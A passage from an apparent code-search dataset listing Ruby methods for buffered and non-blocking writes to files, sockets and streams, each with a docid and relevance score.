"text": "def flush\n\t\t\t\treturn if @write_buffer.empty?\n\t\t\t\t\n\t\t\t\t@writing.acquire do\n\t\t\t\t\t# Flip the write buffer and drain buffer:\n\t\t\t\t\t@write_buffer, @drain_buffer = @drain_buffer, @write_buffer\n\t\t\t\t\t\n\t\t\t\t\tbegin\n\t\t\t\t\t\t@io.write(@drain_buffer)\n\t\t\t\t\tensure\n\t\t\t\t\t\t# If the write operation fails, we still need to clear this buffer, and the data is essentially lost.\n\t\t\t\t\t\t@drain_buffer.clear\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "b50889ce2b0a453e5605fcd7fc36bc1a",
"score": "0.6147462",
"text": "def flush\n return unless buffering?\n \n @buffering = false\n write @buffer\n @buffering = true\n @buffer = ''\n end",
"title": ""
},
{
"docid": "958b4676a50fb17e39803e9b5455e00e",
"score": "0.614429",
"text": "def write(buf)\n until buf.nil? || buf.empty?\n written = socket.write_nonblock(buf)\n buf = buf[written, buf.length]\n end\n rescue Errno::EWOULDBLOCK, Errno::EINTR, Errno::EAGAIN, Errno::ECONNRESET, IO::WaitWritable\n unless wait_writable(write_timeout)\n raise Timeout, \"Could not write to #{host}:#{port} in #{write_timeout} seconds\"\n end\n\n retry\n rescue IO::WaitReadable\n # Also rescued for SSL renegotiation in OpenSSL::SSL::SSLSocket according to\n # https://ruby-doc.org/core-2.7.1/IO.html#method-c-select\n unless wait_readable(read_timeout)\n raise Timeout, \"Could not write to #{host}:#{port} in #{write_timeout} seconds\"\n end\n\n retry\n end",
"title": ""
},
{
"docid": "98aa3dc1ff327d894dfb4acc24709cfc",
"score": "0.61337394",
"text": "def drain_write_buffer\n write_watcher.enable\n end",
"title": ""
},
{
"docid": "07e6e579df03a1bdddc52dda6b8f09ac",
"score": "0.6124223",
"text": "def do_write(s)\n @write_buffer << s\n @write_buffer.force_encoding(Encoding::BINARY)\n\n if @sync or @write_buffer.size > BLOCK_SIZE or idx = @write_buffer.rindex($/)\n remain = idx ? idx + $/.size : @write_buffer.length\n nwritten = 0\n\n while remain > 0\n str = @write_buffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @write_buffer[0,nwritten] = \"\"\n end\n end",
"title": ""
},
{
"docid": "f9bc5193bd28793f42e11bffe7af19fd",
"score": "0.6002334",
"text": "def write_buffer_to_file\n @sequence_list.sort.each do |sequence|\n @rtp_file.write @payload_data[sequence]\n end\n\n @sequence_list.clear\n @payload_data.clear\n end",
"title": ""
},
{
"docid": "5b5f0c3154b23c00317abff9705d964c",
"score": "0.5994239",
"text": "def write(bytes=nil)\n @lock.synchronize do\n if block_given?\n yield @write_buffer\n elsif bytes\n @write_buffer.append(bytes)\n end\n end\n @unblocker.unblock!\n end",
"title": ""
},
{
"docid": "a36460386922d373e2ed3306da1aad8d",
"score": "0.5985898",
"text": "def write(src_buffer, src_offset = 0)\n raise IllegalStateException if done\n raise ArgumentError if (src_buffer.size - src_offset < @element_size)\n\n if @buffer_offset == @buffer.length\n max_size = @max_chunk_size\n chunk_size = [@target_end_offset - @target_offset, max_size].min\n @buffer = zero_bytes(chunk_size)\n @buffer_offset = 0\n end\n\n @buffer[@buffer_offset,@element_size] = src_buffer[src_offset,@element_size]\n @buffer_offset += @element_size\n\n # If buffer is now full, flush to target\n if @buffer_offset == @buffer.size\n f = @target_file\n f.pos = @target_offset\n bytes_written = f.write(@buffer)\n raise IOError if @buffer.size != bytes_written\n @target_offset += bytes_written\n end\n end",
"title": ""
},
{
"docid": "94b541b29dbc83e7da0d121a9bbd01b5",
"score": "0.59647655",
"text": "def write(buffer, mode = File::CREAT|File::TRUNC|File::WRONLY)\n\t\t\t\topen(mode) do |file|\n\t\t\t\t\tfile.write(buffer)\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "6d0cb9487a2f34841165bdccec63be6f",
"score": "0.59382474",
"text": "def atomic_write(filename); end",
"title": ""
},
{
"docid": "6d0cb9487a2f34841165bdccec63be6f",
"score": "0.59382474",
"text": "def atomic_write(filename); end",
"title": ""
},
{
"docid": "406bad9eeb52d59801c1f23b98da28ba",
"score": "0.5934779",
"text": "def on_write(response)\n @active -= 1\n file = response.request[:file]\n raise StatusException.new(response, \"write #{file.remote}\") unless response.ok?\n write_next_chunk(file)\n end",
"title": ""
},
{
"docid": "3dbb16804956109868e40e861150684e",
"score": "0.5934026",
"text": "def write\n write_pending\n end",
"title": ""
},
{
"docid": "8f71b7cbdf8363256e0401910ca4f1c0",
"score": "0.59242064",
"text": "def init_writer!(output)\n Thread.new(\"buffer writer\") do\n begin\n output_io = writer_output!(output)\n while s = output_deq!(output) # NOTE until EOF signal\n timeouts = 0\n logged_timeouts = 1\n begin\n fail @reader_failed if @reader_failed # NOTE otherwise, output_io should not be nil\n written = output_io.write_nonblock(s)\n stats.add_bytes_out written\n\n if written != s.length\n s = s[written..-1]\n raise IO::EAGAINWaitWritable\n end\n\n rescue IO::WaitWritable\n Thread.current.live!\n timeouts += 1\n if timeouts > 2 * logged_timeouts\n Ffmprb.logger.debug \"ThreadedIoBuffer writer (to #{output_io.path}) retrying... (#{timeouts} writes): #{$!.class}\"\n logged_timeouts = timeouts\n end\n IO.select nil, [output_io], nil, ThreadedIoBuffer.io_wait_timeout\n retry\n rescue IO::WaitReadable # NOTE should not really happen, so just for conformance\n Ffmprb.logger.error \"ThreadedIoBuffer writer (to #{output_io.path}) gets a #{$!} - should not really happen.\"\n IO.select [output_io], nil, ThreadedIoBuffer.io_wait_timeout\n retry\n end\n end\n Ffmprb.logger.debug \"ThreadedIoBuffer writer (to #{output_io.path}) breaking off\"\n rescue Errno::EPIPE\n Ffmprb.logger.debug \"ThreadedIoBuffer writer (to #{output_io.path}) broken\"\n output.broken = true\n ensure\n # terminated!\n begin\n output_io.close if !output.broken && output_io && output_io.respond_to?(:close)\n rescue\n Ffmprb.logger.error \"#{$!.class.name} closing ThreadedIoBuffer output: #{$!.message}\"\n end\n output.broken = true\n Ffmprb.logger.debug \"ThreadedIoBuffer writer (to #{output_io && output_io.path}) terminated (#{stats})\"\n end\n end\n end",
"title": ""
},
{
"docid": "fe3ed895fbd1b94080968866e7c80de4",
"score": "0.589003",
"text": "def await_written(string)\n write_nonblock(string)\n rescue IO::WaitWritable\n await_writable\n retry\n end",
"title": ""
},
{
"docid": "b33e89fdcf9dabbff60d506195e45595",
"score": "0.58294",
"text": "def flush(max = nil)\n if ! @seekable\n toWrite = @buffer.length\n toWrite = max if max && max < @buffer.length\n numWritten = 0\n while toWrite > 0\n numWritten = @io.write_nonblock(@buffer[0,toWrite])\n raise Errno::EAGAIN if numWritten == 0\n @buffer = @buffer[numWritten,@buffer.length]\n toWrite -= numWritten\n end\n else\n while @buffer.length > 0\n @io.seek @buffer.first[0], IO::SEEK_SET\n while @buffer.first[1].length > 0\n numWritten = @io.write_nonblock(@buffer.first[1])\n raise Errno::EAGAIN if numWritten == 0\n @buffer.first[1] = @buffer.first[1][numWritten,@buffer.first[1].length]\n end\n # This chunk has been fully written. Remove it\n @buffer.shift\n end\n end\n end",
"title": ""
},
{
"docid": "482be832385bd5824982a71dd4d3c741",
"score": "0.58199656",
"text": "def write(buffer, timeout = 1000)\n handle.bulk_transfer(endpoint: @out,\n dataOut: buffer,\n timeout: timeout)\n end",
"title": ""
},
{
"docid": "076c7a00bbe10852cfb60718bec7d766",
"score": "0.57852364",
"text": "def write_next_chunk(file)\n if file.io.nil?\n process_next_entry\n else\n @active += 1\n offset = file.io.pos\n data = file.io.read(options[:read_size] || DEFAULT_READ_SIZE)\n if data.nil?\n update_progress(:close, file)\n request = sftp.close(file.handle, &method(:on_close))\n request[:file] = file\n file.io.close\n file.io = nil\n @uploads.delete(file)\n else\n update_progress(:put, file, offset, data)\n request = sftp.write(file.handle, offset, data, &method(:on_write))\n request[:file] = file\n end\n end\n end",
"title": ""
},
{
"docid": "f8b573217005d055219cc3174b6a7aaa",
"score": "0.5774962",
"text": "def write(path, data, delay = true, deferrable = EM::DefaultDeferrable.new)\n retries = 0\n \n if delay\n @queue.push(:path => path, :data => data, :deferrable => deferrable)\n else\n deferrable.timeout(@timeout)\n\n destpath = build_destpath(path)\n @client.upload(destpath, data)\n \n EM::next_tick{ deferrable.succeed }\n end\n \n deferrable\n rescue => err\n show_error(err)\n if retries < 4\n # puts \"[#{retries}] Upload error, retrying: #{err}\"\n retries += 1\n retry\n else\n EM::next_tick{ deferrable.fail }\n raise WriteError, \"cannot write file: #{err}\"\n end\n end",
"title": ""
},
{
"docid": "976ff344a3395b9c287f4235bdc45c4d",
"score": "0.5748335",
"text": "def write(chunk)\n tag = chunk.metadata.tag\n content = format_body(tag, nil, chunk)\n\n response = upload(tag, nil, content)\n\n if response.code <= 299\n commit_write(chunk.unique_id)\n else\n @log.warn \"failed to flush buffer\", code: response.code\n end\n end",
"title": ""
},
{
"docid": "401942c002f86fe5aedb5ca29bd8f362",
"score": "0.5743987",
"text": "def __io_like__internal_write_buffer\n @__io_like__write_buffer ||= ''\n end",
"title": ""
},
{
"docid": "c4ef1ac14b172d1fe1f5da1365e1f1bf",
"score": "0.5718107",
"text": "def try_write_lock; end",
"title": ""
},
{
"docid": "c4ef1ac14b172d1fe1f5da1365e1f1bf",
"score": "0.5718107",
"text": "def try_write_lock; end",
"title": ""
},
{
"docid": "2b89eaf121002293950a4717717e8957",
"score": "0.5716425",
"text": "def write(chunk)\n\t\t\t\t\tif @last_chunk_size\n\t\t\t\t\t\ttime_since_last_write = Async::Clock.now - @last_write_at\n\t\t\t\t\t\tthroughput = @last_chunk_size / time_since_last_write\n\t\t\t\t\t\t\n\t\t\t\t\t\tif throughput < @minimum_throughput\n\t\t\t\t\t\t\terror = ThroughputError.new(throughput, @minimum_throughput, time_since_last_write)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tself.close(error)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tsuper.tap do\n\t\t\t\t\t\t@last_write_at = Async::Clock.now\n\t\t\t\t\t\t@last_chunk_size = chunk&.bytesize\n\t\t\t\t\tend\n\t\t\t\tend",
"title": ""
},
{
"docid": "2b89eaf121002293950a4717717e8957",
"score": "0.5716425",
"text": "def write(chunk)\n\t\t\t\t\tif @last_chunk_size\n\t\t\t\t\t\ttime_since_last_write = Async::Clock.now - @last_write_at\n\t\t\t\t\t\tthroughput = @last_chunk_size / time_since_last_write\n\t\t\t\t\t\t\n\t\t\t\t\t\tif throughput < @minimum_throughput\n\t\t\t\t\t\t\terror = ThroughputError.new(throughput, @minimum_throughput, time_since_last_write)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tself.close(error)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tsuper.tap do\n\t\t\t\t\t\t@last_write_at = Async::Clock.now\n\t\t\t\t\t\t@last_chunk_size = chunk&.bytesize\n\t\t\t\t\tend\n\t\t\t\tend",
"title": ""
},
{
"docid": "b66e301c7728a42bc648ca9f7a9c8b45",
"score": "0.56957364",
"text": "def handle_write\n unless @buffer_of_writes.nil?\n message = @buffer_of_writes.shift\n io.puts message\n stop_listening(:write) if @buffer_of_writes.empty?\n end\n\n nil\n end",
"title": ""
},
{
"docid": "94a2dfe1138b8b40e309869c75960351",
"score": "0.5693462",
"text": "def safe_write_file(path, content, chmod_mode)\n if (content_changed?(path, content) || chmod_changed?(path, chmod_mode)) && (write_ready? path)\n write_file path, content, chmod_mode\n end\n end",
"title": ""
},
{
"docid": "952074251e138f90d6fd6058fe09d194",
"score": "0.5688357",
"text": "def write_to(io)\n nbytes = @limit - @position\n raise UnderflowError, \"no data remaining in buffer\" if nbytes.zero?\n\n bytes_written = IO.try_convert(io).write_nonblock(@buffer[@position...@limit], exception: false)\n return 0 if bytes_written == :wait_writable\n\n @position += bytes_written\n bytes_written\n end",
"title": ""
},
{
"docid": "604112e65c434cec96899d127d3d2e89",
"score": "0.56876683",
"text": "def write(bytes=nil)\n if @state == CONNECTED_STATE || @state == CONNECTING_STATE\n @lock.lock\n begin\n if block_given?\n yield @write_buffer\n elsif bytes\n @write_buffer.append(bytes)\n end\n @writable = !@write_buffer.empty?\n ensure\n @lock.unlock\n end\n @unblocker.unblock\n end\n end",
"title": ""
},
{
"docid": "0cc37777b4731d90488b428a26437f4c",
"score": "0.5679915",
"text": "def write_file(name, buffer)\n Zlib::GzipWriter.open(name) { |gz| gz.write buffer }\n end",
"title": ""
},
{
"docid": "c3a2cdf18a61761386abef2dd344c588",
"score": "0.5679418",
"text": "def flush\n return unless @buffer.size > 0\n @mutex.synchronize do\n @log.write(@buffer.slice!(0..-1).join(''))\n end\n end",
"title": ""
},
{
"docid": "46094c00ac4027f3bbfecbc77b29a8b9",
"score": "0.563926",
"text": "def native_write(chunk, last_chunk)\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "46094c00ac4027f3bbfecbc77b29a8b9",
"score": "0.563926",
"text": "def native_write(chunk, last_chunk)\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "6888bd277e94100d35bcfe0bab90fed6",
"score": "0.5623923",
"text": "def flush_writes\n @queued_for_write.each do |style, file|\n base_name = ::File.dirname(get_path(style))\n name = ::File.basename(get_path(style))\n ::Backblaze::B2::File.create data: file, bucket: b2_bucket, name: name, base_name: base_name\n end\n @queued_for_write = {}\n end",
"title": ""
},
{
"docid": "95e679262c9fbb26055e17840b02d160",
"score": "0.5621125",
"text": "def write_locked?; end",
"title": ""
},
{
"docid": "95e679262c9fbb26055e17840b02d160",
"score": "0.5621125",
"text": "def write_locked?; end",
"title": ""
},
{
"docid": "6b8d86ba2d2fdbd73e49dbf799c4f4b4",
"score": "0.56023777",
"text": "def write(block_name, src_buffer)\n if block_name == @mem_file.size\n @mem_file << alloc_buffer\n end\n BlockFile.copy_block(@mem_file[block_name], src_buffer)\n end",
"title": ""
},
{
"docid": "ea78a88effafc200953c09af9f238bde",
"score": "0.5595502",
"text": "def raw_write(path,off,sz,buf,raw=nil);end",
"title": ""
},
{
"docid": "ea78a88effafc200953c09af9f238bde",
"score": "0.5595502",
"text": "def raw_write(path,off,sz,buf,raw=nil);end",
"title": ""
},
{
"docid": "b1ba7807816f5d94409da25d7686768d",
"score": "0.55917567",
"text": "def blocking_write( data )\r\n raise RuntimeError, \"CONN_TCP: blocking_write: Not connected!\" unless connected?\r\n begin\r\n @sock.send(data, 0)\r\n rescue\r\n destroy_connection\r\n raise RuntimeError, \"CONN_TCP: blocking_write: Couldn't write to socket! (#{$!})\"\r\n end\r\n end",
"title": ""
},
{
"docid": "98fa0a6ef5dc93c0dddb2a63b1224e28",
"score": "0.55891645",
"text": "def write!\n File.open(@filename, \"wb\") { |f| f.write(@raw_data) }\n end",
"title": ""
},
{
"docid": "3af3e4149a1a59d0aa6b1a655a479dbe",
"score": "0.55654603",
"text": "def flushBuffer\n # Write it\n @File.write(@Header.getEncodedString(@Buffer))\n updateProgress(@Buffer.size/@Header.NbrChannels)\n @IdxCurrentBufferSample = 0\n @Buffer = []\n end",
"title": ""
},
{
"docid": "200e7ae246e7d40243ae05304bf8c425",
"score": "0.556496",
"text": "def __io_like__buffered_write(string)\n raise IOError, 'closed stream' if closed?\n raise IOError, 'not opened for writing' unless writable?\n\n # Flush the internal read buffer and set the unbuffered position to the\n # buffered position when dealing with non-duplexed objects.\n unless duplexed? || __io_like__internal_read_buffer.empty? then\n unbuffered_seek(-__io_like__internal_read_buffer.length, IO::SEEK_CUR)\n __io_like__internal_read_buffer.slice!(0..-1)\n end\n\n bytes_written = 0\n if sync then\n # Flush the internal write buffer and then bypass it when in synchronous\n # mode.\n __io_like__buffered_flush\n bytes_written = unbuffered_write(string)\n else\n if __io_like__internal_write_buffer.length + string.length >= flush_size then\n # The tipping point for the write buffer would be surpassed by this\n # request, so flush everything.\n __io_like__buffered_flush\n bytes_written = unbuffered_write(string)\n else\n # The buffer can absorb the entire request.\n __io_like__internal_write_buffer << string\n bytes_written = string.length\n end\n end\n return bytes_written\n end",
"title": ""
},
{
"docid": "203b1931ad85ef9a581739b5e2a742c2",
"score": "0.5562071",
"text": "def after_flush_writes\n @queued_for_write.each do |style, file|\n file.close unless file.closed?\n file.unlink if file.respond_to?(:unlink) && file.path.present? && File.exist?(file.path)\n end\n end",
"title": ""
},
{
"docid": "6273f2419ec35f76c56717802dc5ca71",
"score": "0.5561029",
"text": "def write(data)\n loop do\n # JRuby may still raise exceptions on SSL sockets even though\n # we explicitly specify `:exception => false`\n result = rescue_writable do\n socket.write_nonblock(data, :exception => false)\n end\n\n return result unless result == :wait_writable\n\n unless socket.to_io.wait_writable(write_timeout)\n fail TimeoutError, \"Read timed out after #{write_timeout} seconds\"\n end\n end\n end",
"title": ""
},
{
"docid": "140bd7ae36b4db9258df4fb9a3b87761",
"score": "0.555653",
"text": "def save_file( buffer = buffer_current )\n buffer.save\n run_hook_procs( :after_save, buffer )\n end",
"title": ""
},
{
"docid": "11098a88fec637abd59b1653aafb4f61",
"score": "0.55522346",
"text": "def flush\n @file&.flush\n end",
"title": ""
},
{
"docid": "828ac943592639d98bd538d9cb21975c",
"score": "0.5550545",
"text": "def write_file(path, data)\n File.open(path, \"w+\") do |file|\n file.flock(File::LOCK_EX)\n file.write(data)\n file.flock(File::LOCK_UN)\n end\n\n true\n end",
"title": ""
},
{
"docid": "c28632811cf594c70659b731907e7ebb",
"score": "0.55462486",
"text": "def do_write(client, buff)\n lwritten = client.syswrite(buff)\n nwritten = lwritten\n\n # Only dup the original buff if we didn't get it all in the first try\n while nwritten < buff.bytesize\n remaining = buff.bytesize - nwritten\n rbuff = (rbuff || buff).unpack(\"@#{lwritten}a#{remaining}\").first\n lwritten = client.syswrite(rbuff)\n nwritten += lwritten\n end\n\n nwritten\n rescue\n defined?(nwritten) ? nwritten : 0\n end",
"title": ""
},
{
"docid": "5510415f7a56fe786b83810af376195e",
"score": "0.55425626",
"text": "def flush\n if @buffer.pos == @buffer_read_pos\n initialize_buffer\n else\n @buffer.pos = @buffer_read_pos\n initialize_buffer(@buffer.read)\n end\n end",
"title": ""
},
{
"docid": "aa5e8f274ee49070272c78f6e4a08a75",
"score": "0.5533221",
"text": "def write_flush\n @outbuffer = \"\"\n end",
"title": ""
},
{
"docid": "ca668cb0689de570c265dfa37734594d",
"score": "0.55310404",
"text": "def sync_buffer\n @buffer.string = @buffer.read\n end",
"title": ""
},
{
"docid": "0d861281828ee896eac50e341921ccec",
"score": "0.55253243",
"text": "def write\n synchronized do\n @file_content = File.read(@file_name)\n end\n end",
"title": ""
},
{
"docid": "6b873371c2c0c6b9a56c2ef4f28faa2c",
"score": "0.55220985",
"text": "def write_nonblock(data)\n timeout.start(:write)\n\n loop do\n value = socket.write_nonblock(data, exception: false)\n break unless value == :wait_writable\n\n IO.select(nil, [socket], nil, timeout.timeout_seconds(:write))\n timeout.reset(:write)\n end\n end",
"title": ""
},
{
"docid": "3616af68a5fbfd22030ac1d976dc5e12",
"score": "0.55073464",
"text": "def write_buffer(io = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "bfdf4ea19b4815c74ae7839f5432a8d9",
"score": "0.54962784",
"text": "def write\n\t\t\tconnect\n\n\t\t\t# transfer data blocks of up to 65536 bytes\n\t\t\tloop do\n\t\t\t\t@wait&.deq\n\t\t\t\tbegin\n\t\t\t\t\tread_str = @internal_io.read_nonblock(65536)\n\t\t\t\t\tprint_data(\"write-transfer #{write_fds}\", read_str)\n\t\t\t\t\t@external_io.write(read_str)\n\t\t\t\trescue IO::WaitReadable, Errno::EINTR\n\t\t\t\t\t@internal_io.wait_readable\n\t\t\t\trescue EOFError, Errno::ECONNRESET\n\t\t\t\t\tputs \"write_eof from #{write_fds}\"\n\t\t\t\t\t@external_io.close_write\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "fa127eacd2c124a40abbb3ab1716a2a7",
"score": "0.5492797",
"text": "def unbuffered_write(string)\n bytes_written = @io.write(string)\n @uncompressed_size += bytes_written\n @crc32 = Zlib.crc32(string.slice(0, bytes_written), @crc32)\n bytes_written\n end",
"title": ""
},
{
"docid": "3ba55e9782021b7b433d9d2cc8cb5a23",
"score": "0.5492387",
"text": "def continue_write\n begin\n content_writer = Tobacco::Exhaler.new(content, filepath)\n content_writer.write!\n\n Tobacco::Callback.instance.notify(:on_success, content)\n\n rescue => e\n Tobacco.log(\"ErrorWriting: #{filepath}\\nError: #{e}\")\n\n error = error_object('Error Writing', e)\n Tobacco::Callback.instance.notify(:on_write_error, error)\n\n # raise\n end\n end",
"title": ""
},
{
"docid": "e0cea96e4acd42d05d684e974bf5f5c0",
"score": "0.54772097",
"text": "def write(msg)\n begin\n #@io.write_nonblock(msg)\n write_unblocked(@io, msg)\n rescue IO::WaitWritable, Errno::EINTR\n IO.select(nil, [@io])\n retry\n end\n end",
"title": ""
},
{
"docid": "5030cea024a6945d8ad7b81da1387d2a",
"score": "0.54639494",
"text": "def atomic_write(filename)\n dirname, basename = File.split(filename)\n basename = [\n basename,\n Thread.current.object_id,\n Process.pid,\n rand(1000000)\n ].join('.'.freeze)\n tmpname = File.join(dirname, basename)\n\n File.open(tmpname, 'wb+') do |f|\n yield f\n end\n\n File.rename(tmpname, filename)\n ensure\n File.delete(tmpname) if File.exist?(tmpname)\n end",
"title": ""
},
{
"docid": "ec30c36888ee6facba68b679f508d4ff",
"score": "0.5458861",
"text": "def write(data)\n timeout = false\n loop do\n result = @socket.write_nonblock(data, :exception => false)\n return result unless result == :wait_writable\n\n raise TimeoutError, \"Write timed out after #{@write_timeout} seconds\" if timeout\n\n timeout = true unless @socket.to_io.wait_writable(@write_timeout)\n end\n end",
"title": ""
},
{
"docid": "5d41c4f223e71ea6f0a700af923609cd",
"score": "0.54557633",
"text": "def atomic_write(filename)\n # Generate probably-unique temporary filename, preserving extension\n dir = File.dirname(filename)\n extension = File.extname(filename)\n basename = File.basename(filename, extension)\n nonce = \"#{Process.pid}_#{Time.now.strftime('%s%L')}_#{rand(1000000)}\"\n tmpfile = File.join(dir, \"#{basename}.#{nonce}#{extension}\")\n\n File.open(tmpfile, 'w') do |fh|\n retval = yield(fh)\n fh.close\n\n # Try to match old file permissions, if any\n begin\n old_stat = File.stat(filename)\n rescue Errno::ENOENT\n end\n if old_stat\n begin\n File.chown(old_stat.uid, old_stat.gid, fh.path)\n File.chmod(old_stat.mode, fh.path)\n rescue Errno::EPERM, Errno::EACCES\n end\n end\n\n # Atomically overwrite previous file, if any\n File.rename(fh.path, filename)\n retval\n end\nend",
"title": ""
},
{
"docid": "5d41c4f223e71ea6f0a700af923609cd",
"score": "0.54557633",
"text": "def atomic_write(filename)\n # Generate probably-unique temporary filename, preserving extension\n dir = File.dirname(filename)\n extension = File.extname(filename)\n basename = File.basename(filename, extension)\n nonce = \"#{Process.pid}_#{Time.now.strftime('%s%L')}_#{rand(1000000)}\"\n tmpfile = File.join(dir, \"#{basename}.#{nonce}#{extension}\")\n\n File.open(tmpfile, 'w') do |fh|\n retval = yield(fh)\n fh.close\n\n # Try to match old file permissions, if any\n begin\n old_stat = File.stat(filename)\n rescue Errno::ENOENT\n end\n if old_stat\n begin\n File.chown(old_stat.uid, old_stat.gid, fh.path)\n File.chmod(old_stat.mode, fh.path)\n rescue Errno::EPERM, Errno::EACCES\n end\n end\n\n # Atomically overwrite previous file, if any\n File.rename(fh.path, filename)\n retval\n end\nend",
"title": ""
},
{
"docid": "5648c2b457ea7c0f19f4b82f921f3fdd",
"score": "0.54479045",
"text": "def disable_buffering(file)\n file.sync = true\n end",
"title": ""
},
{
"docid": "06b7f62eaf4f84f85037827d10b23dae",
"score": "0.5444939",
"text": "def work\n buf, finished = '', false\n until finished && buf.empty?\n record = @queue.pop\n if record\n buf << Record.serialize(record)\n else\n finished = true\n end\n read, write = IO.select [], [@fd]\n if write and fd = write.first\n lock(fd) { buf = try_write fd, buf }\n end\n end\n @fd.flush\n end",
"title": ""
},
{
"docid": "29363ce13b17b2b5893318887c52ba25",
"score": "0.5435729",
"text": "def write_block\n if block_count > 0\n # write number of items in block and block size in bytes\n encoder.write_long(block_count)\n to_write = buffer_writer.string\n encoder.write_long(to_write.size)\n\n # write block contents\n if meta['codec'] == 'null'\n writer.write(to_write)\n else\n msg = \"#{meta['codec'].inspect} coded is not supported\"\n raise DataFileError, msg\n end\n\n # write sync marker\n writer.write(sync_marker)\n\n # reset buffer\n buffer_writer.truncate(0)\n self.block_count = 0\n end\n end",
"title": ""
},
{
"docid": "315ae4b35145ccf1c8f7bf273aa3046b",
"score": "0.54256684",
"text": "def __io_like__close_write\n @__io_like__closed_write = true\n nil\n end",
"title": ""
},
{
"docid": "15eb9b74a6461e68555968a8a038fa8e",
"score": "0.54212666",
"text": "def handle_write\n # handle encryption queue first\n unless @encryption_queue.empty?\n msg = @encryption_queue[0]\n @encryption_queue.delete_at(0)\n @buffer = @bf_enc_cipher.update(msg)\n @buffer << @bf_enc_cipher.final\n # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and\n # the resulting block is used to encrypt the next block.\n end\n\n unless @buffer.empty?\n sent = send_data(@buffer)\n vprint_status(\"Sent #{sent} bytes: \" +\n \"[#{@buffer.unpack('H*')[0][0..30]}...]\")\n @buffer = @buffer[sent..@buffer.length]\n end\n end",
"title": ""
},
{
"docid": "57b425ac683a17c2730af05026ba8bb0",
"score": "0.54196197",
"text": "def write\n File.open(@fname, 'w') do |file|\n file.flock File::LOCK_EX\n\n UserInfoFile.put_header(file)\n\n @content.names.each_key do |id|\n file.puts @content.build_line(id)\n end\n end\n # 例外は小さい単位で捕捉する\n rescue SystemCallError => e\n puts \"#{e} in write\"\n rescue IOError => e\n puts \"#{e} in write\"\n end",
"title": ""
},
{
"docid": "af6b4aab00f5275a41bf4710bb1e1468",
"score": "0.54155564",
"text": "def direct_write!\n return false unless(@file_data_to_write.kind_of?(Array))\n \n thumb, pyramid = @file_data_to_write\n self.class.benchmark(\"Direct write for #{self.id}\", Logger::INFO) do\n prepare_for_pyramid\n \n copy_or_move(pyramid, get_iip_root_file_path)\n \n end # end benchmark\n \n @file_data_to_write = DataPath.new(thumb)\n \n true\n end",
"title": ""
},
{
"docid": "4fb749cca72c9087284bd0b6045d981f",
"score": "0.5396606",
"text": "def blocking_write( data )\r\n @cdb_app.write data\r\n end",
"title": ""
},
{
"docid": "63fbc670e0b20b75878689b39a9b5661",
"score": "0.5391609",
"text": "def write_block\n if block_count > 0\n # write number of items in block and block size in bytes\n encoder.write_long(block_count)\n to_write = codec.compress(buffer_writer.string)\n encoder.write_long(to_write.respond_to?(:bytesize) ? to_write.bytesize : to_write.size)\n\n # write block contents\n writer.write(to_write)\n\n # write sync marker\n writer.write(sync_marker)\n\n # reset buffer\n buffer_writer.truncate(0)\n buffer_writer.rewind\n self.block_count = 0\n end\n end",
"title": ""
},
{
"docid": "00dcf3d007ec876d09037790c40dbdd3",
"score": "0.53885037",
"text": "def write(data)\n # Issue: what about write, read, read on files opened for read/write? Write should happen at offset X, but reads moved to offset N. Since writes\n # are buffered, write may happen after read which means write will happen at the wrong offset N. Can fix by always seeking (if needed) before writes to the \n # position where the write was queued, but this should only be done for files since other fds don't support seek. This is satisfactory for files opened\n # for write only since the file position will be where we expect so we won't need to seek. Same for read only. \n @ioInfo.outputBuffer.append data\n @logger.debug \"wrote #{data.length} bytes to the output buffer of IO metainfo=#{@ioInfo.metainfo}\" if @logger\n data.length\n end",
"title": ""
},
{
"docid": "ca6d71c346b513e1f32cbbcd5cd7df5c",
"score": "0.5386011",
"text": "def write_response\n return if @message_queue.empty? && @write_chunk.empty?\n\n # may have remain from last write\n @write_chunk = @parser.out_transfer_message(@message_queue.shift) if @write_chunk.empty?\n\n begin\n remain_index = @socket.write_nonblock(@write_chunk)\n @write_chunk = @write_chunk[remain_index..-1]\n rescue IO::WaitWritable\n # stub nothing to do\n end\n end",
"title": ""
},
{
"docid": "6432de01384d5e97c60e456c94d1bcfd",
"score": "0.53851664",
"text": "def tx_data\n @agent.logger.debug('Writing to socket')\n bytes_sent = @socket.write_nonblock(@tx_buffer[0,1024])\n @agent.logger.debug('Writing to socket completed')\n # Send as much data as possible\n if bytes_sent >= @tx_buffer.bytesize\n @tx_buffer = String.new.force_encoding('BINARY')\n @nio_monitor.interests = :r\n else\n # If we didn't manage to send all the data, leave\n # the remaining data in the send buffer\n @tx_buffer.slice!(0, bytes_sent)\n end\n rescue EOFError, Errno::ECONNRESET, Errno::ETIMEDOUT, Errno::ENETRESET\n close\n end",
"title": ""
},
{
"docid": "6ee0c664b6802ef1cb05b6a32314c914",
"score": "0.53773934",
"text": "def write(value)\n @buffer[@write] = value\n\n # If the buffer is full before a write, we drop the oldest value by\n # moving the read pointer as well\n @read = (@read + 1) % @buffer.size if full?\n @write = (@write + 1) % @buffer.size\n nil\n end",
"title": ""
},
{
"docid": "e0109f5a52ef32f0f9be208c363d6fc3",
"score": "0.537711",
